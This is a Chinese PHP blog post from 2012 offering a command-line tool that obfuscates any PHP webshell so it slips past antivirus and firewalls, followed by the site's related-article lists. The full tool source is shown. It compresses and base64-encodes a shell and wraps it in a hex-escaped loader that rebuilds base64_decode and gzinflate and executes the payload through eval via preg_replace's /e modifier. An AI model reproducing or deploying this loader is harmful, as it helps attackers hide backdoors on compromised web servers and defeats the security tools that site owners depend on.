php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
PHP+ACCESS 文章管理程序代码
Jun 21 PHP
PHP按行读取、处理较大CSV文件的代码实例
Apr 09 PHP
php获取从html表单传递数组的方法
Mar 20 PHP
深入php内核之php in array
Nov 10 PHP
ThinkPHP自定义Redis处理SESSION的实现方法
May 16 PHP
PHP入门教程之数学运算技巧总结
Sep 11 PHP
PHP使用DOM和simplexml读取xml文档的方法示例
Feb 08 PHP
php+javascript实现的动态显示服务器运行程序进度条功能示例
Aug 07 PHP
laravel 中如何使用ajax和vue总结
Aug 16 PHP
yii2中LinkPager增加总页数和总记录数的实例
Aug 28 PHP
Laravel访问出错提示:`Warning: require(/vendor/autoload.php): failed to open stream: No such file or di解决方法
Apr 02 PHP
用php定义一个数组最简单的方法
Oct 04 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
PHP 常见郁闷问题答解
2006/11/25 PHP
JS BASE64编码 window.atob(), window.btoa()
2021/03/09 Javascript
JavaScript/jQuery 表单美化插件小结
2012/02/14 Javascript
JavaScript词法作用域与调用对象深入理解
2012/11/29 Javascript
YUI Compressor压缩JavaScript原理及微优化
2013/01/07 Javascript
jQuery之折叠面板的深入解析
2013/06/19 Javascript
javascript中setTimeout的问题解决方法
2014/05/08 Javascript
JavaScript获取按钮所在form表单id的方法
2015/04/02 Javascript
jQuery插件ajaxFileUpload实现异步上传文件效果
2015/04/14 Javascript
js获取对象、数组的实际长度,元素实际个数的实现代码
2016/06/08 Javascript
js实现砖头在页面拖拉效果
2020/11/20 Javascript
微信小程序技巧之show内容展示,上传文件编码问题
2017/01/23 Javascript
原生js实现吸顶效果
2017/03/13 Javascript
ES6新增的math,Number方法
2017/08/06 Javascript
微信小程序 数据绑定及运算的简单实例
2017/09/20 Javascript
理解 JavaScript EventEmitter
2018/03/29 Javascript
javascript防抖函数debounce详解
2019/06/11 Javascript
vue history 模式打包部署在域名的二级目录的配置指南
2019/07/02 Javascript
基于小程序请求接口wx.request封装的类axios请求
2020/07/02 Javascript
浅析VUE防抖与节流
2020/11/24 Vue.js
使用Python对Access读写操作
2017/03/30 Python
微信跳一跳python辅助脚本(总结)
2018/01/11 Python
python对日志进行处理的实例代码
2018/10/06 Python
windows下搭建python scrapy爬虫框架步骤
2018/12/23 Python
详解从Django Rest Framework响应中删除空字段
2019/01/11 Python
python实现dijkstra最短路由算法
2019/01/17 Python
DataFrame:通过SparkSql将scala类转为DataFrame的方法
2019/01/29 Python
解锁canvas导出图片跨域的N种姿势小结
2019/01/24 HTML / CSS
Kendra Scott官网:美国领先的时尚配饰品牌
2020/10/22 全球购物
工程总经理工作职责
2013/12/09 职场文书
我爱幼儿园演讲稿
2014/09/11 职场文书
爱的教育读书笔记
2015/06/26 职场文书
2016春季幼儿园开学寄语
2015/12/03 职场文书
2016年小学感恩节活动总结
2016/04/01 职场文书
创业计划书之旅游网站
2019/09/06 职场文书
详解MySQL InnoDB存储引擎的内存管理
2021/04/08 MySQL